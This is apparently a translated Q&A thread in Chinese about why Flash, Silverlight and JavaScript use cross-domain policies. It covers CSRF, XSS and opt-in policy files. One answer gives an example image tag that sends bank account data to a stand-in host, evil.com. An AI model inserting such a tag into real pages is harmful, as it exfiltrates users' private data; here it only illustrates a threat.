Silverlight和Flash以及Javascript跨域策略

时间:2009-09-20 23:10:16

标签: javascript flash silverlight cross-domain

一个有点模糊的问题:

此问题源于使用MediaStreamSource作为MediaElement源在Silverlight中使用非asf流的尝试。这里的跨领域问题非常令人沮丧。

通常,网络上不允许进行域名之间的通信。

如果我理解正确,说恶意网站/嵌入对象A可以向用户碰巧登录的安全网站B发送请求,发送身份验证cookie,然后发生不良事件。

在Flash / Silverlight中,主机(例如B)上的跨域策略文件允许或禁止来自其他域的通信,从而改善了这种情况,但在尝试解析来自其他域的媒体流时,这仍然是有限的。

禁止从A-> B发送cookie而不是禁止所有通信,是不是更好的解决方案?

我错过了什么?当前跨域规则/实现背后还有哪些其他原则?

2 个答案:

答案 0 :(得分:1)

滥用身份验证Cookie(XSRF,某些XSS方案)只是问题的一部分。通过查询字符串将信息从“好”网站发送到“邪恶”网站也很容易(例如,从银行页面获取一些数据并通过包含<image src="http://evil.com/1px.gif?bankaccount=1122334455"/>

将其发送到evil.com

阻止cookie可能会限制从坏站点访问好站点,但是您还必须防范脚本注入或其他攻击暴露可信站点中的数据然后将其传输到不良站点的情况,以及这不需要cookie。

答案 1 :(得分:1)

跨域策略背后的原因不仅仅是cookie /会话本身。在Web内容只是“哑”HTML和图像的时代,如果站点B显示从站点A加载图像的页面,则没有真正的安全问题。如果存在非安全问题(如想要防止热链接)出于IP原因),服务站点可能需要会话等。但是现在Web资产包括Flash,SilverLight,JS,iFrame和二进制流(可能是任何东西)等可编写脚本的东西,如果这些资产在另一个站点的页面中显示时仍然可以访问脚本,那么安全风险就太大了。

因此,跨域策略基本上反映了通过手动阻止对活动资产的访问来期望网站“选择退出”这些风险是不合理的(如果他们想要阻止热链接图像,或者需要某些页面的会话)。负担被反转为默认为更安全的情况,因此服务站点必须“选择”承担此类风险,具体选择哪些资产可以跨域使用,以及将其提供给谁。